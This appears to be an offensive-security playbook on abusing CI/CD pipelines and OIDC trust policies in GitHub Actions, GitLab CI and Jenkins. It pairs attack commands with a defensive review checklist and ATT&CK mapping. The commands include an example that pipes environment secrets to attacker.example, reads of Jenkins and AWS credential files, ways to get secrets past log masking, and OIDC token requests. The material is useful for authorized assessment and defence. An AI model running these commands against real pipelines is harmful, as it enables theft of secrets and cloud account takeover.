Abusing CI/CD Pipelines and OIDC Federation
CI/CD pipelines are high-privilege execution environments, often with direct cloud IAM access, deploy credentials, and signing keys. OIDC federation turns a repository write into cloud credential issuance when the trust policy is too broad. A single misconfigured workflow or a wildcard subject claim can bridge the gap from "can open a pull request" to "has production cloud access."
When to Use
- Assessing GitHub Actions, GitLab CI, or Jenkins for exploitable misconfigurations
- Testing OIDC federation trust policies between CI providers and cloud platforms
- Extracting secrets, tokens, or credentials from pipeline execution environments
- Evaluating self-hosted runner isolation and shared runner risk
- Attempting lateral movement from CI/CD into cloud accounts via OIDC
- Reviewing build artifact integrity and cache poisoning attack surface
When NOT to Use
- Dependency and package supply chain attacks -- use
auditing-supply-chain - Cloud IAM exploitation not originating from CI/CD -- use
exploiting-cloud-platforms - Static code review of pipeline definitions as pure source -- use
auditing-code-for-vulnerabilities
GitHub Actions
Poisoned Workflows
pull_request_target runs in the base repo context with secrets and a
write-scoped GITHUB_TOKEN, but can be triggered by a fork PR.
# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'
# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/
Attack pattern: fork the repo, modify the checked-out code path (build script, Makefile, test harness), open a PR. The workflow executes your code with the base repo's secrets. Exfiltrate via DNS, HTTP callback, or artifact.
Secret Exfiltration and Token Scope
# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil
# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'
# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/
Unrestricted GITHUB_TOKEN defaults to read+write on contents, packages, and
more. With a write-scoped token: push to branches, create releases, modify
packages, approve deployments.
Self-Hosted Runner Compromise
Self-hosted runners on public repos are a critical finding. They persist between jobs, so a malicious workflow leaves implants for subsequent jobs.
rg -n 'runs-on:.*self-hosted' .github/workflows/
# On a compromised runner: harvest credentials from prior jobs
find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null
cat /home/runner/.aws/credentials
Artifact Poisoning
# If a PR workflow uploads build artifacts consumed by a deploy workflow,
# the PR author controls what gets deployed
rg -n 'upload-artifact|download-artifact' .github/workflows/
GitLab CI
Runner Tokens and Shared Runners
# Exposed runner registration tokens allow registering rogue runners
rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml
# CI_JOB_TOKEN can access other projects if inter-project deps are configured
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main"
# Shared runners: Docker socket mount leaks between jobs
rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml
CI Variables Extraction
# Masked variables are hidden from logs but present in env
printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt
# Protected variables: only on protected branches/tags
# Push a tag matching the protection pattern to access them
git tag release-exploit && git push origin release-exploit
OIDC Federation Abuse
OIDC federation lets CI jobs assume cloud roles without stored credentials. The security boundary is the trust policy's subject claim filter.
Overly Broad Subject Claims
# AWS: inspect IAM role trust policy conditions
aws iam get-role --role-name ci-deploy-role \
--query 'Role.AssumeRolePolicyDocument' --output json
# Dangerous patterns in the Condition block:
# "sub": "repo:org/*" -- any repo in the org
# "sub": "repo:org/repo:*" -- any branch, any environment
# "sub": "repo:org/repo:ref:refs/heads/*" -- any branch
# No Condition at all -- any token from the IdP
Vulnerable AWS trust policy:
{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org-name/*"
}
}
}
Any repo in the org can assume this role. Abandoned repos, docs repos, and repos with loose contributor policies become pivots to production cloud access.
GCP and Azure
# GCP: check attribute conditions on workload identity provider
gcloud iam workload-identity-pools providers describe PROVIDER \
--location=global --workload-identity-pool=POOL
# Vulnerable: no attribute condition, or condition matching only the org
# Azure: list federated identity credentials
az ad app federated-credential list --id APP_OBJECT_ID
# Same wildcard risks: "repo:org/*" or "repo:org/repo:ref:refs/heads/*"
# Safe: "repo:org/repo:environment:production"
Environment Protection Bypass
Environment protection rules gate OIDC token issuance only if the trust policy
conditions include :environment:. A policy matching repo:org/repo:* ignores
environments, so required reviewers provide no protection.
rg -n 'environment:' .github/workflows/
# Compare to the trust policy Condition -- if it lacks :environment:, bypass
Jenkins
Groovy Console and Credentials
# Script console (/script) runs arbitrary Groovy as SYSTEM
# Check for unauthenticated access
curl -s -o /dev/null -w "%{http_code}" http://jenkins.target/script
# Credential files on disk
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret
Pipeline Library Injection
# Shared libraries via @Library execute in the pipeline sandbox
# If the library repo is writable, inject code into vars/ or src/
rg -n '@Library\|library\(' Jenkinsfile
# "Load implicitly" enabled = every pipeline runs the library's code
Secrets in CI
Extracting Masked Variables
# Masking hides secrets from logs but not from the process environment
echo "$SECRET_VAR" | base64 # bypass log masking
echo "$SECRET_VAR" | sed 's/./&\n/g' # char-by-char bypass
echo "$SECRET_VAR" > secret_dump.txt # write to artifact
OIDC Token Interception
# GitHub Actions: request the OIDC token
curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"
# JWT is reusable until expiry (typically 5-15 minutes)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
Long-Lived Tokens as CI Secrets
# Credentials that should have been replaced by OIDC
env | grep -i 'AWS\|AKIA' # AWS access keys
env | grep -i 'AZURE\|ARM_CLIENT' # Azure SP credentials
find / -name '*service*account*.json' 2>/dev/null # GCP SA keys
Build Artifact Poisoning
Cache Poisoning
# CI caches shared across branches -- a PR can poison the main-branch cache
rg -n 'actions/cache' -A5 .github/workflows/
# Check whether cache keys include dependency lock file hashes
rg -n 'cache:' -A10 .gitlab-ci.yml
# key: $CI_COMMIT_REF_SLUG is branch-scoped but forks may share
Dependency Confusion via Internal Registries
# If CI resolves from both internal and public registries,
# a higher-version public package wins resolution
rg -rn 'registry\|index-url\|repository' .npmrc .yarnrc pip.conf pyproject.toml
# Non-scoped internal packages (@org/pkg format) are vulnerable
Defensive Review Checklist
OIDC subject claim strictness:
- Trust policies pin to specific repository (not org-wide wildcard)
- Trust policies require specific branch or environment in the subject
- Environment protection rules are configured for production deployments
Workflow approval gates:
-
pull_request_targetworkflows do not check out PR head code - Fork PRs require approval before workflows run
- Required reviewers are set on deployment environments
- Branch protection prevents direct pushes to release branches
Runner isolation:
- Self-hosted runners are not used on public repositories
- Runners are ephemeral (destroyed after each job)
- Docker socket is not mounted into CI jobs
Secrets hygiene:
- No long-lived cloud credentials stored as CI secrets (use OIDC)
-
GITHUB_TOKENpermissions are explicitly restricted per-job - Secrets are not available to fork-triggered workflows
Build integrity:
- Third-party actions/images are pinned by SHA, not mutable tag
- Cache keys include dependency lock file hashes
- Build artifacts are signed and verified before deployment
- Internal packages use scoped registries with no public fallback
Rationalizations to Reject
"The OIDC trust policy is org-scoped, and we trust all our repos." Any repo in the org becomes a pivot to cloud access. Abandoned repos, forks, and repos with loose contributor policies are all in scope.
"Secrets are masked in the logs." Masking is a log-display feature, not a security boundary. Secrets are plaintext in the process environment.
"The workflow only runs on PRs from maintainers." Unless fork PR approval is enforced at the repo or org level, external contributors can trigger
pull_request_targetworkflows."Our runners are internal, so they are safe." Internal runners that persist between jobs accumulate credentials from every job they execute. Ephemeral runners are the control.
"We use environment protection rules." Protection rules only gate OIDC token issuance if the trust policy conditions include the environment claim. A policy matching
repo:org/repo:*ignores environments entirely."It is just the CI token, it expires quickly." A 15-minute OIDC token is enough to exfiltrate data, modify infrastructure, or establish persistence in the cloud account. Short-lived is not harmless.
"The pipeline code is reviewed before merge." Review of the pipeline definition does not protect against
pull_request_target, which runs the attacker's code before any merge.
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1199 Trusted Relationship — see also
exploiting-cloud-platforms,attacking-entra-id
Credential Access (TA0006)
- T1552 Unsecured Credentials — see also
escalating-linux-privileges,exploiting-cloud-platforms,auditing-supply-chain
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
auditing-supply-chain-- dependency and package-level supply chain attacksexploiting-cloud-platforms-- cloud IAM exploitation beyond CI/CD originsauditing-code-for-vulnerabilities-- source-level review of pipeline codeengineering-detections-- building alerts for CI/CD abuse patterns